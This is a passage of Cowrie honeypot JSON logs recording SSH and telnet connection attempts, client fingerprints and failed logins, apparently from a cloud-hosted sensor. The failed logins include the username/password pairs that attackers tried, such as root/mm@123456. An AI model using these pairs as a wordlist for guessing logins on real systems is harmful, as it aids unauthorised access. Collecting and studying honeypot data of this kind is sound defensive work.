enssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:45.807183Z","src_ip":"160.174.129.232","session":"369e73025022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwer1234","message":"login attempt [hadoop/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:46.409721Z","src_ip":"160.174.129.232","session":"369e73025022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.71280550956726,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:47.154238Z","src_ip":"170.64.224.25","session":"a249c671885e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:47.555267Z","src_ip":"160.174.129.232","session":"369e73025022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":47650,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd8446e8361","protocol":"ssh","message":"New connection: 20.228.193.165:47650 (10.17.0.5:22) [session: 0fd8446e8361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:02.013881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:02.019788Z","src_ip":"20.228.193.165","session":"0fd8446e8361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:02.041470Z","src_ip":"20.228.193.165","session":"0fd8446e8361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mm@123456","message":"login attempt [root/mm@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:02.151871Z","src_ip":"20.228.193.165","session":"0fd8446e8361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:03.172298Z","src_ip":"20.228.193.165","session":"0fd8446e8361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":50672,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8468974cf97","protocol":"ssh","message":"New connection: 138.197.164.175:50672 (10.17.0.5:22) [session: b8468974cf97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:05.390736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:05.398071Z","src_ip":"138.197.164.175","session":"b8468974cf97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:05.417472Z","src_ip":"138.197.164.175","session":"b8468974cf97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpadmin","password":"sftpadmin123","message":"login attempt [sftpadmin/sftpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:05.530709Z","src_ip":"138.197.164.175","session":"b8468974cf97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:06.552837Z","src_ip":"138.197.164.175","session":"b8468974cf97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50076,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5e45601bc9","protocol":"ssh","message":"New connection: 147.45.199.80:50076 (10.17.0.5:22) [session: 6c5e45601bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:08.726463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:08.734067Z","src_ip":"147.45.199.80","session":"6c5e45601bc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:08.836115Z","src_ip":"147.45.199.80","session":"6c5e45601bc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjyfynjy","message":"login attempt [root/fynjyfynjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:09.179993Z","src_ip":"147.45.199.80","session":"6c5e45601bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:10.299321Z","src_ip":"147.45.199.80","session":"6c5e45601bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.062705278396606,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:11.944435Z","src_ip":"170.64.224.25","session":"b681c0baab7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:15.761151Z","src_ip":"221.229.220.180","session":"5e6e6be8f71a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":36282,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa6692f360df","protocol":"ssh","message":"New connection: 192.169.202.129:36282 (159.203.135.109:22) [session: aa6692f360df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:22.555851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:22.560097Z","src_ip":"192.169.202.129","session":"aa6692f360df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:22.627723Z","src_ip":"192.169.202.129","session":"aa6692f360df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel_larimer","password":"daniel123","message":"login attempt [daniel_larimer/daniel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:22.823659Z","src_ip":"192.169.202.129","session":"aa6692f360df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:23.890400Z","src_ip":"192.169.202.129","session":"aa6692f360df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":57996,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaea4c176ed9","protocol":"ssh","message":"New connection: 182.93.7.194:57996 (159.203.135.109:22) [session: aaea4c176ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:40.662958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:40.667167Z","src_ip":"182.93.7.194","session":"aaea4c176ed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:40.879560Z","src_ip":"182.93.7.194","session":"aaea4c176ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":50872,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc652d0bc8b","protocol":"ssh","message":"New connection: 177.16.244.39:50872 (10.17.0.5:22) [session: 6fc652d0bc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:41.009851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:41.014157Z","src_ip":"177.16.244.39","session":"6fc652d0bc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:41.140960Z","src_ip":"177.16.244.39","session":"6fc652d0bc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CDE#2wsxZAQ!","message":"login attempt [root/CDE#2wsxZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:41.696580Z","src_ip":"177.16.244.39","session":"6fc652d0bc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"submit","password":"submit123","message":"login attempt [submit/submit123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:41.763644Z","src_ip":"182.93.7.194","session":"aaea4c176ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:42.827240Z","src_ip":"177.16.244.39","session":"6fc652d0bc8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:42.978987Z","src_ip":"182.93.7.194","session":"aaea4c176ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":40756,"dst_ip":"10.17.0.5","dst_port":22,"session":"1abda5879c5f","protocol":"ssh","message":"New connection: 38.242.143.220:40756 (10.17.0.5:22) [session: 1abda5879c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:46.712404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:46.716079Z","src_ip":"38.242.143.220","session":"1abda5879c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:46.820072Z","src_ip":"38.242.143.220","session":"1abda5879c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":34382,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3425b102df0","protocol":"ssh","message":"New connection: 139.19.117.129:34382 (159.203.135.109:22) [session: b3425b102df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:46.985066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:46.989186Z","src_ip":"139.19.117.129","session":"b3425b102df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:47.080913Z","src_ip":"139.19.117.129","session":"b3425b102df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nakamoto789","message":"login attempt [root/nakamoto789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:30:47.128626Z","src_ip":"38.242.143.220","session":"1abda5879c5f","protocol":"ssh"}
